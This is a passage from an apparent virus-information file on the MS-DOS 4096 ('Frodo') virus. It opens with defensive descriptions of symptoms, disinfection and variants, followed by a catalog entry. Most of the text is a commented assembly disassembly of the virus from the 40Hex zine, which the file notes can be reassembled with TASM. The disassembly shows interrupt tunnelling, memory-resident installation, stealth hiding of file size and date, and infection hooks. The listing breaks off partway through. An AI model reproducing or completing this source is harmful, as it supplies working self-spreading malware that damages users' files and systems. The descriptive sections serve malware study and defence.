problem, the virus being almost invisible. The cross-linking of
|
|||
|
files is the result of the virus manipulating the FATs, changing the
|
|||
|
number of available sectors, as well as the user issuing CHKDSK/F
|
|||
|
command which will think that the files have lost sectors or
|
|||
|
cross-linking if the virus is in memory.
|
|||
|
|
|||
|
As a side note, if the virus is present in memory and you attempt to
|
|||
|
copy infected files, the new copy of the file will not be infected
|
|||
|
with the virus if the new copy does not have an executable file
|
|||
|
extension. Thus, one way to disinfect a system is to copy off all
|
|||
|
the infected files to diskettes with a non-executable file extension
|
|||
|
(i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in
|
|||
|
memory, then power off the system and reboot from a write-protected,
|
|||
|
uninfected system disk. Once rebooted and the virus is not in
|
|||
|
memory, delete the infected files and copy back the files from the
|
|||
|
diskettes to the original executable file names and extensions.
|
|||
|
|
|||
|
The above will disinfect the system, if done correctly, but will
|
|||
|
still leave the problem of cross-linked files which are permanently
|
|||
|
damaged.
|
|||
|
|
|||
|
On or after September 22 of any year, the 4096 virus will hang
|
|||
|
infected systems. This appears to be a "bug" in the virus in that
|
|||
|
it goes into a time consuming loop.
|
|||
|
|
|||
|
The 4096 virus also contains a boot-sector within its code; however,
|
|||
|
it is never written out to the disk's boot sector. Moving this boot
|
|||
|
sector to the boot sector of a diskette and rebooting the system
|
|||
|
will result in the message "FRODO LIVES" being displayed. September
|
|||
|
22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings
|
|||
|
trilogy.
|
|||
|
|
|||
|
An important note on the 4096 virus: this virus will also infect
|
|||
|
some data files. When this occurs, the data files will appear to be
|
|||
|
fine on infected systems. However, after the system is later
|
|||
|
disinfected, these files will now be corrupted and unpredictable
|
|||
|
results may occur.
|
|||
|
|
|||
|
Known variant(s) of 4096 are:
|
|||
|
4096-B: Similar to the 4096 virus, the main change is that the
|
|||
|
encryption mechanism has been changed in order to avoid
|
|||
|
detection.
|
|||
|
4096-C: Isolated in January, 1991, this variant of 4096 is similar
|
|||
|
to the original virus. The major difference is that the DOS
|
|||
|
CHKDSK command will not show any cross-linking of files or
|
|||
|
lost clusters. A symptom of infection by this variant is
|
|||
|
that the disk space available according to a DIR command
|
|||
|
will be more than the disk space available according to the
|
|||
|
DOS CHKDSK program.
|
|||
|
4096-D: Isolated in April, 1992, this variant of 4096 is similar
|
|||
|
to the 4096-C variant in behavior. The major difference is
|
|||
|
that it has been modified to avoid detection by some anti-
|
|||
|
viral utilities.
|
|||
|
Origin: Unknown April, 1992.
|
|||
|
|
|||
|
======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) =======
|
|||
|
Entry...............: "4096" virus
|
|||
|
Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus.
|
|||
|
Virus Strain........: ---
|
|||
|
Virus detected when.: October 1989.
|
|||
|
where.: Haifa, Israel.
|
|||
|
Classification......: Program Virus (extending), RAM-resident.
|
|||
|
Length of Virus.....: .COM files: length increased by 4096 bytes.
|
|||
|
.EXE files: length increased by 4096 bytes.
|
|||
|
--------------------- Preconditions -----------------------------------
|
|||
|
Operating System(s).: MS-DOS
|
|||
|
Version/Release.....: 2.xx upward
|
|||
|
Computer model(s)...: IBM-PC, XT, AT and compatibles
|
|||
|
--------------------- Attributes --------------------------------------
|
|||
|
Easy Identification.: ---
|
|||
|
Type of infection...: System: Allocates a memory block at high end of
|
|||
|
memory. Finds original address (inside
|
|||
|
DOS) of Int 21h handler. Finds original
|
|||
|
address (inside BIOS) of Int 13h handler,
|
|||
|
therefore bypasses all active monitors.
|
|||
|
Inserts a JMP FAR to virus code inside
|
|||
|
original DOS handler.
|
|||
|
.COM files: program length increased by 4096
|
|||
|
.EXE files: program length increased by 4096
|
|||
|
Infection Trigger...: Programs are infected at load time (using the
|
|||
|
function Load/Execute of MS-DOS), and whenever
|
|||
|
a file Access is done to a file with the exten-
|
|||
|
sion of .COM or .EXE, (Open file AH=3D,
|
|||
|
Create file AH=3C, File attrib AH=43,
|
|||
|
File time/date AH=57, etc.)
|
|||
|
Interrupts hooked...: INT21h, through a JMP FAR to virus code inside
|
|||
|
DOS handler;
|
|||
|
INT01h, during virus installation & execution
|
|||
|
of DOS's load/execute function (AH=4B);
|
|||
|
INT13h, INT24h during infection.
|
|||
|
Damage..............: The computer usually hangs up.
|
|||
|
Damage Trigger......: A Get Dos Version call when the date is after the
|
|||
|
22th of September and before 1/1 of next year.
|
|||
|
Particularities.....: Infected files have their year set to (year+100)
|
|||
|
of the un-infected file.
|
|||
|
If the system is infected, the virus redirects
|
|||
|
all file accesses so that the virus itself can
|
|||
|
not be read from the file. Also, find first/next
|
|||
|
function returns are tampered so that files
|
|||
|
with (year>100) are reduced by 4096 bytes in size.
|
|||
|
--------------------- Agents ------------------------------------------
|
|||
|
Countermeasures.....: Cannot be detected while in memory, so no
|
|||
|
monitor/file change detector can help.
|
|||
|
Countermeasures successful:
|
|||
|
1) A Do-it-yourself way: Infect system by running
|
|||
|
an infected file, ARC/ZIP/LHARC/ZOO all in-
|
|||
|
fected .COM and .EXE files, boot from unin-
|
|||
|
fected floppy, and UNARC/UNZIP/LHARC E etc.
|
|||
|
all files. Pay special attention to disin-
|
|||
|
fection of COMMAND.COM.
|
|||
|
2) The JIV AntiVirus Package (by the author of
|
|||
|
this contribution)
|
|||
|
3) F. Skulason's F-PROT package.
|
|||
|
Standard means......: ---
|
|||
|
--------------------- Acknowledgement ---------------------------------
|
|||
|
Location............: Weizmann Institute, Israel.
|
|||
|
Classification by...: Ori Berger
|
|||
|
Documentation by....: Ori Berger
|
|||
|
Date................: 26-February-1990
|
|||
|
===================== End of "4096" Virus =============================
|
|||
|
|
|||
|
_4096 segment byte public
|
|||
|
assume cs:_4096, ds:_4096
|
|||
|
|
|||
|
; 4096 Virus
|
|||
|
; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
|
|||
|
; Assemble with TASM; the resultant file size is 4081 bytes
|
|||
|
|
|||
|
org 0
|
|||
|
startvirus:
|
|||
|
db 0
|
|||
|
jmp installvirus
|
|||
|
oldheader: ; original 1Ch bytes of the carrier file
|
|||
|
retn
|
|||
|
db 75h,02,44h,15h,46h,20h
|
|||
|
db 'Copyright Bourb%}i, I'
|
|||
|
endoldheader:
|
|||
|
EXEflag db 00h
|
|||
|
db 0FEh, 3Ah
|
|||
|
|
|||
|
int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
|
|||
|
push bp ; set up stack frame
|
|||
|
mov bp,sp
|
|||
|
push ax
|
|||
|
cmp word ptr [bp+4],0C000h ; in BIOS?
|
|||
|
jnb foundorigint ; nope, haven't found it
|
|||
|
mov ax,cs:DOSsegment ; in DOS?
|
|||
|
cmp [bp+4],ax
|
|||
|
jbe foundorigint
|
|||
|
exitint1:
|
|||
|
pop ax
|
|||
|
pop bp
|
|||
|
iret
|
|||
|
foundorigint:
|
|||
|
cmp byte ptr cs:tracemode,1
|
|||
|
jz tracemode1
|
|||
|
mov ax,[bp+4] ; save segment of entry point
|
|||
|
mov word ptr cs:origints+2,ax
|
|||
|
mov ax,[bp+2] ; save offset of entry point
|
|||
|
mov word ptr cs:origints,ax
|
|||
|
jb finishint1
|
|||
|
pop ax
|
|||
|
pop bp
|
|||
|
mov ss,cs:savess ; restore the stack to its
|
|||
|
mov sp,cs:savesp ; original state
|
|||
|
mov al,cs:saveIMR ; Restore IMR
|
|||
|
out 21h,al ; (enable interrupts)
|
|||
|
jmp setvirusints
|
|||
|
finishint1:
|
|||
|
and word ptr [bp+6],0FEFFh ; turn off trap flag
|
|||
|
mov al,cs:saveIMR ; and restore IMR
|
|||
|
out 21h,al
|
|||
|
jmp short exitint1
|
|||
|
tracemode1:
|
|||
|
dec byte ptr cs:instructionstotrace
|
|||
|
jnz exitint1
|
|||
|
and word ptr [bp+6],0FEFFh ; turn off trap flag
|
|||
|
call saveregs
|
|||
|
call swapvirint21 ; restore original int
|
|||
|
lds dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
|
|||
|
mov al,1
|
|||
|
call setvect
|
|||
|
call restoreregs
|
|||
|
jmp short finishint1
|
|||
|
|
|||
|
getint:
|
|||
|
push ds
|
|||
|
push si
|
|||
|
xor si,si ; clear si
|
|||
|
mov ds,si ; ds->interrupt table
|
|||
|
xor ah,ah ; cbw would be better!?
|
|||
|
mov si,ax
|
|||
|
shl si,1 ; convert int # to offset in
|
|||
|
shl si,1 ; interrupt table (int # x 4)
|
|||
|
mov bx,[si] ; es:bx = interrupt vector
|
|||
|
mov es,[si+2] ; get old interrupt vector
|
|||
|
; save 3 bytes if use les bx,[si]
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
retn
|
|||
|
|
|||
|
installvirus:
|
|||
|
mov word ptr cs:stackptr,offset topstack
|
|||
|
mov cs:initialax,ax ; save initial value for ax
|
|||
|
mov ah,30h ; Get DOS version
|
|||
|
int 21h
|
|||
|
|
|||
|
mov cs:DOSversion,al ; Save DOS version
|
|||
|
mov cs:carrierPSP,ds ; Save PSP segment
|
|||
|
mov ah,52h ; Get list of lists
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ax,es:[bx-2] ; segment of first MCB
|
|||
|
mov cs:DOSsegment,ax ; save it for use in int 1
|
|||
|
mov es,ax ; es = segment first MCB
|
|||
|
mov ax,es:[1] ; Get owner of first MCB
|
|||
|
mov cs:ownerfirstMCB,ax ; save it
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov al,1 ; get single step vector
|
|||
|
call getint
|
|||
|
mov word ptr ds:oldint1,bx ; save it for later
|
|||
|
mov word ptr ds:oldint1+2,es; restoration
|
|||
|
mov al,21h ; get int 21h vector
|
|||
|
call getint
|
|||
|
mov word ptr ds:origints,bx
|
|||
|
mov word ptr ds:origints+2,es
|
|||
|
mov byte ptr ds:tracemode,0 ; regular trace mode on
|
|||
|
mov dx,offset int1 ; set new int 1 handler
|
|||
|
mov al,1
|
|||
|
call setvect
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
or ax,100h ; turn on trap flag
|
|||
|
push ax
|
|||
|
in al,21h ; Get old IMR
|
|||
|
mov ds:saveIMR,al
|
|||
|
mov al,0FFh ; disable all interrupts
|
|||
|
out 21h,al
|
|||
|
popf
|
|||
|
mov ah,52h ; Get list of lists
|
|||
|
pushf ; (for tracing purposes)
|
|||
|
call dword ptr ds:origints ; perform the tunnelling
|
|||
|
pushf
|
|||
|
pop ax
|
|||
|
and ax,0FEFFh ; turn off trap flag
|
|||
|
push ax
|
|||
|
popf
|
|||
|
mov al,ds:saveIMR ; reenable interrupts
|
|||
|
out 21h,al
|
|||
|
push ds
|
|||
|
lds dx,dword ptr ds:oldint1
|
|||
|
mov al,1 ; restore int 1 to the
|
|||
|
call setvect ; original handler
|
|||
|
pop ds
|
|||
|
les di,dword ptr ds:origints; set up int 21h handlers
|
|||
|
mov word ptr ds:oldint21,di
|
|||
|
mov word ptr ds:oldint21+2,es
|
|||
|
mov byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
|
|||
|
mov word ptr ds:int21store,offset otherint21
|
|||
|
mov word ptr ds:int21store+2,cs
|
|||
|
call swapvirint21 ; activate virus in memory
|
|||
|
mov ax,4B00h
|
|||
|
mov ds:checkres,ah ; set resident flag to a
|
|||
|
; dummy value
|
|||
|
mov dx,offset EXEflag+1 ; save EXE flag
|
|||
|
push word ptr ds:EXEflag
|
|||
|
int 21h ; installation check
|
|||
|
; returns checkres=0 if
|
|||
|
; installed
|
|||
|
|
|||
|
pop word ptr ds:EXEflag ; restore EXE flag
|
|||
|
add word ptr es:[di-4],9
|
|||
|
nop ; !?
|
|||
|
mov es,ds:carrierPSP ; restore ES and DS to their
|
|||
|
mov ds,ds:carrierPSP ; original values
|
|||
|
sub word ptr ds:[2],(topstack/10h)+1
|
|||
|
; alter top of memory in PSP
|
|||
|
mov bp,ds:[2] ; get segment
|
|||
|
mov dx,ds
|
|||
|
sub bp,dx
|
|||
|
mov ah,4Ah ; Find total available memory
|
|||
|
mov bx,0FFFFh
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah,4Ah ; Allocate all available memory
|
|||
|
int 21h
|
|||
|
|
|||
|
dec dx ; go to MCB of virus memory
|
|||
|
mov ds,dx
|
|||
|
cmp byte ptr ds:[0],'Z' ; is it the last block?
|
|||
|
je carrierislastMCB
|
|||
|
dec byte ptr cs:checkres ; mark need to install virus
|
|||
|
carrierislastMCB:
|
|||
|
cmp byte ptr cs:checkres,0 ; need to install?
|
|||
|
je playwithMCBs ; nope, go play with MCBs
|
|||
|
mov byte ptr ds:[0],'M' ; mark not end of chain
|
|||
|
playwithMCBs:
|
|||
|
mov ax,ds:[3] ; get memory size controlled
|
|||
|
mov bx,ax ; by the MCB
|
|||
|
sub ax,(topstack/10h)+1 ; calculate new size
|
|||
|
add dx,ax ; find high memory segment
|
|||
|
mov ds:[3],ax ; put new size in MCB
|
|||
|
inc dx ; one more for the MCB
|
|||
|
mov es,dx ; es->high memory MCB
|
|||
|
mov byte ptr es:[0],'Z' ; mark end of chain
|
|||
|
push word ptr cs:ownerfirstMCB ; get DOS PSP ID
|
|||
|
pop word ptr es:[1] ; make it the owner
|
|||
|
mov word ptr es:[3],160h ; fill in the size field
|
|||
|
inc dx
|
|||
|
mov es,dx ; es->high memory area
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov cx,(topstack/2) ; zopy 0-1600h to high memory
|
|||
|
mov si,offset topstack-2
|
|||
|
mov di,si
|
|||
|
std ; zopy backwards
|
|||
|
rep movsw
|
|||
|
cld
|
|||
|
push es ; set up stack for jmp into
|
|||
|
mov ax,offset highentry ; virus code in high memory
|
|||
|
push ax
|
|||
|
mov es,cs:carrierPSP ; save current PSP segment
|
|||
|
mov ah,4Ah ; Alter memory allocation
|
|||
|
mov bx,bp ; bx = paragraphs
|
|||
|
int 21h
|
|||
|
retf ; jmp to virus code in high
|
|||
|
highentry: ; memory
|
|||
|
call swapvirint21
|
|||
|
mov word ptr cs:int21store+2,cs
|
|||
|
call swapvirint21
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov byte ptr ds:handlesleft,14h ; reset free handles count
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset handletable
|
|||
|
mov cx,14h
|
|||
|
xor ax,ax ; clear handle table
|
|||
|
rep stosw
|
|||
|
mov ds:hideclustercountchange,al ; clear the flag
|
|||
|
mov ax,ds:carrierPSP
|
|||
|
mov es,ax ; es->PSP
|
|||
|
lds dx,dword ptr es:[0Ah] ; get terminate vector (why?)
|
|||
|
mov ds,ax ; ds->PSP
|
|||
|
add ax,10h ; adjust for PSP
|
|||
|
add word ptr cs:oldheader+16h,ax ; adjust jmp location
|
|||
|
cmp byte ptr cs:EXEflag,0 ; for PSP
|
|||
|
jne returntoEXE
|
|||
|
returntoCOM:
|
|||
|
sti
|
|||
|
mov ax,word ptr cs:oldheader; restore first 6 bytes of the
|
|||
|
mov ds:[100h],ax ; COM file
|
|||
|
mov ax,word ptr cs:oldheader+2
|
|||
|
mov ds:[102h],ax
|
|||
|
mov ax,word ptr cs:oldheader+4
|
|||
|
mov ds:[104h],ax
|
|||
|
push word ptr cs:carrierPSP ; Segment of carrier file's
|
|||
|
mov ax,100h ; PSP
|
|||
|
push ax
|
|||
|
mov ax,cs:initialax ; restore orig. value of ax
|
|||
|
retf ; return to original COM file
|
|||
|
|
|||
|
returntoEXE:
|
|||
|
add word ptr cs:oldheader+0eh,ax
|
|||
|
mov ax,cs:initialax ; Restore ax
|
|||
|
mov ss,word ptr cs:oldheader+0eh ; Restore stack to
|
|||
|
mov sp,word ptr cs:oldheader+10h ; original value
|
|||
|
sti
|
|||
|
jmp dword ptr cs:oldheader+14h ; jmp to original cs:IP
|
|||
|
; entry point
|
|||
|
entervirus:
|
|||
|
cmp sp,100h ; COM file?
|
|||
|
ja dont_resetstack ; if so, skip this
|
|||
|
xor sp,sp ; new stack
|
|||
|
dont_resetstack:
|
|||
|
mov bp,ax
|
|||
|
call next ; calculate relativeness
|
|||
|
next:
|
|||
|
pop cx
|
|||
|
sub cx,offset next ; cx = delta offset
|
|||
|
mov ax,cs ; ax = segment
|
|||
|
mov bx,10h ; convert to offset
|
|||
|
mul bx
|
|||
|
add ax,cx
|
|||
|
adc dx,0
|
|||
|
div bx ; convert to seg:off
|
|||
|
push ax ; set up stack for jmp
|
|||
|
mov ax,offset installvirus ; to installvirus
|
|||
|
push ax
|
|||
|
mov ax,bp
|
|||
|
retf ; go to installvirus
|
|||
|
|
|||
|
int21commands:
|
|||
|
db 30h ; get DOS version
|
|||
|
dw offset getDOSversion
|
|||
|
db 23h ; FCB get file size
|
|||
|
dw offset FCBgetfilesize
|
|||
|
db 37h ; get device info
|
|||
|
dw offset get_device_info
|
|||
|
db 4Bh ; execute
|
|||
|
dw offset execute
|
|||
|
db 3Ch ; create file w/ handle
|
|||
|
dw offset createhandle
|
|||
|
db 3Dh ; open file
|
|||
|
dw offset openhandle
|
|||
|
db 3Eh ; close file
|
|||
|
dw offset handleclosefile
|
|||
|
db 0Fh ; FCB open file
|
|||
|
dw offset FCBopenfile
|
|||
|
db 14h ; sequential FCB read
|
|||
|
dw offset sequentialFCBread
|
|||
|
db 21h ; random FCB read
|
|||
|
dw offset randomFCBread
|
|||
|
db 27h ; random FCB block read
|
|||
|
dw offset randomFCBblockread
|
|||
|
db 11h ; FCB find first
|
|||
|
dw offset FCBfindfirstnext
|
|||
|
db 12h ; FCB find next
|
|||
|
dw offset FCBfindfirstnext
|
|||
|
db 4Eh ; filename find first
|
|||
|
dw offset filenamefindfirstnext
|
|||
|
db 4Fh ; filename find next
|
|||
|
dw offset filenamefindfirstnext
|
|||
|
db 3Fh ; read
|
|||
|
dw offset handleread
|
|||
|
db 40h ; write
|
|||
|
dw offset handlewrite
|
|||
|
db 42h ; move file pointer
|
|||
|
dw offset handlemovefilepointer
|
|||
|
db 57h ; get/set file time/date
|
|||
|
dw offset getsetfiletimedate
|
|||
|
db 48h ; allocate memory
|
|||
|
dw offset allocatememory
|
|||
|
endcommands:
|
|||
|
|
|||
|
otherint21:
|
|||
|
cmp ax,4B00h ; execute?
|
|||
|
jnz notexecute
|
|||
|
mov cs:checkres,al ; clear the resident flag
|
|||
|
notexecute:
|
|||
|
push bp ; set up stack frame
|
|||
|
mov bp,sp
|
|||
|
push [bp+6] ; push old flags
|
|||
|
pop cs:int21flags ; and put in variable
|
|||
|
pop bp ; why?
|
|||
|
push bp ; why?
|
|||
|
mov bp,sp ; set up new stack frame
|
|||
|
call saveregs
|
|||
|
call swapvirint21 ; reenable DOS int 21h handler
|
|||
|
call disableBREAK
|
|||
|
call restoreregs
|
|||
|
call _pushall
|
|||
|
push bx
|
|||
|
mov bx,offset int21commands ; bx->command table
|
|||
|
scanforcommand:
|
|||
|
cmp ah,cs:[bx] ; scan for the function
|
|||
|
jne findnextcommand ; code/subroutine combination
|
|||
|
mov bx,cs:[bx+1]
|
|||
|
xchg bx,[bp-14h]
|
|||
|
cld
|
|||
|
retn
|
|||
|
findnextcommand:
|
|||
|
add bx,3 ; go to next command
|
|||
|
cmp bx,offset endcommands ; in the table until
|
|||
|
jb scanforcommand ; there are no more
|
|||
|
pop bx
|
|||
|
exitotherint21:
|
|||
|
call restoreBREAK
|
|||
|
in al,21h ; save IMR
|
|||
|
mov cs:saveIMR,al
|
|||
|
mov al,0FFh ; disable all interrupts
|
|||
|
out 21h,al
|
|||
|
mov byte ptr cs:instructionstotrace,4 ; trace into
|
|||
|
mov byte ptr cs:tracemode,1 ; oldint21
|
|||
|
call replaceint1 ; set virus int 1 handler
|
|||
|
call _popall
|
|||
|
push ax
|
|||
|
mov ax,cs:int21flags ; get the flags
|
|||
|
or ax,100h ; turn on the trap flag
|
|||
|
push ax ; and set it in motion
|
|||
|
popf
|
|||
|
pop ax
|
|||
|
pop bp
|
|||
|
jmp dword ptr cs:oldint21 ; chain back to original int
|
|||
|
; 21h handler -- do not return
|
|||
|
|
|||
|
exitint21:
|
|||
|
call saveregs
|
|||
|
call restoreBREAK
|
|||
|
call swapvirint21
|
|||
|
call restoreregs
|
|||
|
pop bp
|
|||
|
push bp ; set up stack frame
|
|||
|
mov bp,sp
|
|||
|
push word ptr cs:int21flags ; get the flags and put
|
|||
|
pop word ptr [bp+6] ; them on the stack for
|
|||
|
pop bp ; the iret
|
|||
|
iret
|
|||
|
|
|||
|
FCBfindfirstnext:
|
|||
|
call _popall
|
|||
|
call callint21
|
|||
|
or al,al ; Found any files?
|
|||
|
jnz exitint21 ; guess not
|
|||
|
call _pushall
|
|||
|
call getdisktransferaddress
|
|||
|
mov al,0
|
|||
|
cmp byte ptr [bx],0FFh ; Extended FCB?
|
|||
|
jne findfirstnextnoextendedFCB
|
|||
|
mov al,[bx+6]
|
|||
|
add bx,7 ; convert to normal FCB
|
|||
|
findfirstnextnoextendedFCB:
|
|||
|
and cs:hide_size,al
|
|||
|
test byte ptr [bx+1Ah],80h ; check year bit for virus
|
|||
|
jz _popall_then_exitint21 ; infection tag. exit if so
|
|||
|
sub byte ptr [bx+1Ah],0C8h ; alter file date
|
|||
|
cmp byte ptr cs:hide_size,0
|
|||
|
jne _popall_then_exitint21
|
|||
|
sub word ptr [bx+1Dh],1000h ; hide file size
|
|||
|
sbb word ptr [bx+1Fh],0
|
|||
|
_popall_then_exitint21:
|
|||
|
call _popall
|
|||
|
jmp short exitint21
|
|||
|
|
|||
|
FCBopenfile:
|
|||
|
call _popall
|
|||
|
call callint21 ; chain to original int 21h
|
|||
|
call _pushall
|
|||
|
or al,al ; 0 = success
|
|||
|
jnz _popall_then_exitint21
|
|||
|
mov bx,dx
|
|||
|
test byte ptr [bx+15h],80h ; check if infected yet
|
|||
|
jz _popall_then_exitint21
|
|||
|
sub byte ptr [bx+15h],0C8h ; restore date
|
|||
|
sub word ptr [bx+10h],1000h ; and hide file size
|
|||
|
sbb byte ptr [bx+12h],0
|
|||
|
jmp short _popall_then_exitint21
|
|||
|
|
|||
|
randomFCBblockread:
|
|||
|
jcxz go_exitotherint21 ; reading any blocks?
|
|||
|
|
|||
|
randomFCBread:
|
|||
|
mov bx,dx
|
|||
|
mov si,[bx+21h] ; check if reading first
|
|||
|
or si,[bx+23h] ; bytes
|
|||
|
jnz go_exitotherint21
|
|||
|
jmp short continueFCBread
|
|||
|
|
|||
|
sequentialFCBread:
|
|||
|
mov bx,dx
|
|||
|
mov ax,[bx+0Ch] ; check if reading first
|
|||
|
or al,[bx+20h] ; bytes
|
|||
|
jnz go_exitotherint21
|
|||
|
continueFCBread:
|
|||
|
call checkFCBokinfect
|
|||
|
jnc continuecontinueFCBread
|
|||
|
go_exitotherint21:
|
|||
|
jmp exitotherint21
|
|||
|
continuecontinueFCBread:
|
|||
|
call _popall
|
|||
|
call _pushall
|
|||
|
call callint21 ; chain to original handler
|
|||
|
mov [bp-4],ax ; set the return codes
|
|||
|
mov [bp-8],cx ; properly
|
|||
|
push ds ; save FCB pointer
|
|||
|
push dx
|
|||
|
call getdisktransferaddress
|
|||
|
cmp word ptr [bx+14h],1 ; check for EXE infection
|
|||
|
je FCBreadinfectedfile ; (IP = 1)
|
|||
|
mov ax,[bx] ; check for COM infection
|
|||
|
add ax,[bx+2] ; (checksum = 0)
|
|||
|
add ax,[bx+4]
|
|||
|
jz FCBreadinfectedfile
|
|||
|
add sp,4 ; no infection, no stealth
|
|||
|
jmp short _popall_then_exitint21 ; needed
|
|||
|
FCBreadinfectedfile:
|
|||
|
pop dx ; restore address of the FCB
|
|||
|
pop ds
|
|||
|
mov si,dx
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset tempFCB ; copy FCB to temporary one
|
|||
|
mov cx,25h
|
|||
|
rep movsb
|
|||
|
mov di,offset tempFCB
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,[di+10h] ; get old file size
|
|||
|
mov dx,[di+12h]
|
|||
|
add ax,100Fh ; increase by virus size
|
|||
|
adc dx,0 ; and round to the nearest
|
|||
|
and ax,0FFF0h ; paragraph
|
|||
|
mov [di+10h],ax ; insert new file size
|
|||
|
mov [di+12h],dx
|
|||
|
sub ax,0FFCh
|
|||
|
sbb dx,0
|
|||
|
mov [di+21h],ax ; set new random record #
|
|||
|
mov [di+23h],dx
|
|||
|
mov word ptr [di+0Eh],1 ; record size = 1
|
|||
|
mov cx,1Ch
|
|||
|
mov dx,di
|
|||
|
mov ah,27h ; random block read 1Ch bytes
|
|||
|
call callint21
|
|||
|
jmp _popall_then_exitint21
|
|||
|
|
|||
|
FCBgetfilesize:
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov si,dx
|
|||
|
mov di,offset tempFCB ; copy FCB to temp buffer
|
|||
|
mov cx,0025h
|
|||
|
repz movsb
|
|||
|
push ds
|
|||
|
push dx
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov dx,offset tempFCB
|
|||
|
mov ah,0Fh ; FCB open file
|
|||
|
call callint21
|
|||
|
mov ah,10h ; FCB close file
|
|||
|
call callint21
|
|||
|
test byte ptr [tempFCB+15h],80h ; check date bit
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
jz will_exitotherint21 ; exit if not infected
|
|||
|
les bx,dword ptr cs:[tempFCB+10h] ; get filesize
|
|||
|
mov ax,es
|
|||
|
sub bx,1000h ; hide increase
|
|||
|
sbb ax,0
|
|||
|
xor dx,dx
|
|||
|
mov cx,word ptr cs:[tempFCB+0eh] ; get record size
|
|||
|
dec cx
|
|||
|
add bx,cx
|
|||
|
adc ax,0
|
|||
|
inc cx
|
|||
|
div cx
|
|||
|
mov [si+23h],ax ; fix random access record #
|
|||
|
xchg dx,ax
|
|||
|
xchg bx,ax
|
|||
|
div cx
|
|||
|
mov [si+21h],ax ; fix random access record #
|
|||
|
jmp _popall_then_exitint21
|
|||
|
|
|||
|
filenamefindfirstnext:
|
|||
|
and word ptr cs:int21flags,-2 ; turn off trap flag
|
|||
|
call _popall
|
|||
|
call callint21
|
|||
|
call _pushall
|
|||
|
jnb filenamefffnOK ; continue if a file is found
|
|||
|
or word ptr cs:int21flags,1
|
|||
|
jmp _popall_then_exitint21
|
|||
|
|
|||
|
filenamefffnOK:
|
|||
|
call getdisktransferaddress
|
|||
|
test byte ptr [bx+19h],80h ; Check high bit of date
|
|||
|
jnz filenamefffnfileinfected; Bit set if infected
|
|||
|
jmp _popall_then_exitint21
|
|||
|
filenamefffnfileinfected:
|
|||
|
sub word ptr [bx+1Ah],1000h ; hide file length increase
|
|||
|
sbb word ptr [bx+1Ch],0
|
|||
|
sub byte ptr [bx+19h],0C8h ; and date change
|
|||
|
jmp _popall_then_exitint21
|
|||
|
|
|||
|
createhandle:
|
|||
|
push cx
|
|||
|
and cx,7 ; mask the attributes
|
|||
|
cmp cx,7 ; r/o, hidden, & system?
|
|||
|
je exit_create_handle
|
|||
|
pop cx
|
|||
|
call replaceint13and24
|
|||
|
call callint21 ; chain to original int 21h
|
|||
|
call restoreint13and24
|
|||
|
pushf
|
|||
|
cmp byte ptr cs:errorflag,0 ; check if any errors yet
|
|||
|
je no_errors_createhandle
|
|||
|
popf
|
|||
|
will_exitotherint21:
|
|||
|
jmp exitotherint21
|
|||
|
no_errors_createhandle:
|
|||
|
popf
|
|||
|
jc other_error_createhandle; exit on error
|
|||
|
mov bx,ax ; move handle to bx
|
|||
|
mov ah,3Eh ; Close file
|
|||
|
call callint21
|
|||
|
jmp short openhandle
|
|||
|
other_error_createhandle:
|
|||
|
or byte ptr cs:int21flags,1; turn on the trap flag
|
|||
|
mov [bp-4],ax ; set the return code properly
|
|||
|
jmp _popall_then_exitint21
|
|||
|
exit_create_handle:
|
|||
|
pop cx
|
|||
|
jmp exitotherint21
|
|||
|
|
|||
|
openhandle:
|
|||
|
call getcurrentPSP
|
|||
|
call checkdsdxokinfect
|
|||
|
jc jmp_exitotherint21
|
|||
|
cmp byte ptr cs:handlesleft,0 ; make sure there is a free
|
|||
|
je jmp_exitotherint21 ; entry in the table
|
|||
|
call setup_infection ; open the file
|
|||
|
cmp bx,0FFFFh ; error?
|
|||
|
je jmp_exitotherint21 ; if so, exit
|
|||
|
dec byte ptr cs:handlesleft
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset handletable
|
|||
|
mov cx,14h
|
|||
|
xor ax,ax ; find end of the table
|
|||
|
repne scasw
|
|||
|
mov ax,cs:currentPSP ; put the PSP value and the
|
|||
|
mov es:[di-2],ax ; handle # in the table
|
|||
|
mov es:[di+26h],bx
|
|||
|
mov [bp-4],bx ; put handle # in return code
|
|||
|
handleopenclose_exit:
|
|||
|
and byte ptr cs:int21flags,0FEh ; turn off the trap flag
|
|||
|
jmp _popall_then_exitint21
|
|||
|
jmp_exitotherint21:
|
|||
|
jmp exitotherint21
|
|||
|
|
|||
|
handleclosefile:
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
call getcurrentPSP
|
|||
|
mov di,offset handletable
|
|||
|
mov cx,14h ; 14h entries max
|
|||
|
mov ax,cs:currentPSP ; search for calling PSP
|
|||
|
scanhandle_close:
|
|||
|
repne scasw
|
|||
|
jnz handlenotfound ; handle not trapped
|
|||
|
cmp bx,es:[di+26h] ; does the handle correspond?
|
|||
|
jne scanhandle_close ; if not, find another handle
|
|||
|
mov word ptr es:[di-2],0 ; otherwise, clear handle
|
|||
|
call infect_file
|
|||
|
inc byte ptr cs:handlesleft ; fix handles left counter
|
|||
|
jmp short handleopenclose_exit ; and exit
|
|||
|
handlenotfound:
|
|||
|
jmp exitotherint21
|
|||
|
|
|||
|
getdisktransferaddress:
|
|||
|
push es
|
|||
|
mov ah,2Fh ; Get disk transfer address
|
|||
|
call callint21 ; to es:bx
|
|||
|
